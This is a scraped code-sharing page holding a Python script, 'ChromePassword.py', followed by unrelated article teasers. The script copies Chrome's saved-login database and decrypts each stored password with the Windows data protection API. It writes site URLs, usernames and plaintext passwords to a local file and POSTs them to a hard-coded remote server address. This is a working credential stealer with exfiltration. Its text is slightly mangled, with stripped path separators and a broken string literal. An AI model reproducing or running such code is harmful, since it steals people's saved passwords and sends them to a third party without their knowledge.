ChromePassword
# -*- coding: utf-8 -*-
2# @Author : pwf
3
4# @Date : 2019/5/18 22:53
5# Software : PyCharm
6# version:Python 3.6.8
7# @File : ChromePassword.py
8import os
10import shutil
11import sqlite3
12import win32crypt
13import json
14import requests
15
16APP_DATA_PATH = os.environ["LOCALAPPDATA"]
17DB_PATH = r'GoogleChromeUser DataDefaultLogin Data'
18
19class ChromePassword:
21
22 def __init__(self):
23 self.passwordsList = []
24
25 def get_chrome_db(self):
26 _full_path = os.path.join(APP_DATA_PATH, DB_PATH)
27 _tmp_file = os.path.join(os.environ['LOCALAPPDATA'], 'sqlite_file')
28 if os.path.exists(_tmp_file):
29 os.remove(_tmp_file)
30 shutil.copyfile(_full_path, _tmp_file)
31 self.show_passwords(_tmp_file)
32
33 def show_passwords(self, db_file):
34 conn = sqlite3.connect(db_file)
35 _sql = '''select signon_realm,username_value,password_value from logins'''
36 for row in conn.execute(_sql):
37 ret = win32crypt.CryptUnprotectData(row[2], None, None, None, 0)
38 # 密码解析后得到的是字节码,需要进行解码操作
39 _info = 'url: %-40s username: %-20s password: %s
' %
40 (row[0][:50], row[1], ret[1].decode())
41 self.passwordsList.append(_info)
42 conn.close()
43 os.remove(db_file)
44
45 def save_passwords(self):
46 with open('password.txt', 'w', encoding='utf-8') as f:
47 f.writelines(self.passwordsList)
48
49 def transfer_passwords(self):
50 try:
51 # 此处填写远端Flask对应的IP:PORT
52 requests.post('http://192.168.1.102:9999/index',
53 data=json.dumps(self.passwordsList))
54 except requests.exceptions.ConnectionError:
55 pass
56
57if __name__ == '__main__':
59 Main = ChromePassword()
60 Main.get_chrome_db()
61 Main.save_passwords()
62 Main.transfer_passwords()
ChromePassword的更多相关文章
随机推荐
- windows 3种方式运行exe文件
1.双击文件运行 2.打开cmd,cd 到要运行的文件目录下,输入文件名或者文件名.exe 3.将文件目录配置到系统环境变量,按windws+R输入文件名或者文件名.exe
- 新建ASPX页面,并练习div布局和table布局
1,Div水平居中: <div style="margin:0px auto;width:100px;height:100px;background:#FF0000;"> ...
- visio给任意图形进行填充
使用visio给图形填充颜色的条件:图形必须是封闭的!!! 但是很多人不明白:我明明画的图形是封闭的啊!可是无法填充颜色!这是因为,你画了一个看上去是封闭的图形,但是VISIO认为你画的不是封闭图形! ...
- 19.通过MAPREDUCE 把收集数据进行清洗
在eclipse软件里创建一个maven项目 jdk要换成本地安装的1.8版本的 加载pom.xml文件 <project xmlns="http://maven.apache.org ...
- Redis 是怎么实现 “附近的人” 的?
针对"附近的人"这一位置服务领域的应用场景,常见的可使用PG.MySQL和MongoDB等多种DB的空间索引进行实现. 而Redis另辟蹊径,结合其有序队列zset以及geohas ...
- TCP流量控制和拥塞避免
TCP的流量控制 所谓的流量控制就是让发送方的发送速率不要太快,让接收方来得及接受.利用滑动窗口机制可以很方便的在TCP连接上实现对发送方的流量控制.TCP的窗口单位是字节,不是报文段,发送 ...
- django 路由层 伪静态网页 虚拟环境 视图层
路由层 无名分组 有名分组 反向解析 路由分发 名称空间 伪静态网页 虚拟环境 视图层 JsonResponse FBV与CBV 文件上传 项目urls.py下面 from app01 import ...
- 【hash】A Horrible Poem
[题目链接] # 10038. 「一本通 2.1 练习 4」A Horrible Poem [参考博客] A Horrible Poem (字符串hash+数论) [题目描述] 给出一个由小写英文字母 ...
- 使用tqdm实现下载文件进度条
1.获取下载链接 下载链接为:http://fastsoft.onlinedown.net/down/Fcloudmusicsetup2.5.5.197764.exe 2.使用tqdm实现 2.1.从 ...
- JS基础_if语句
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title> ...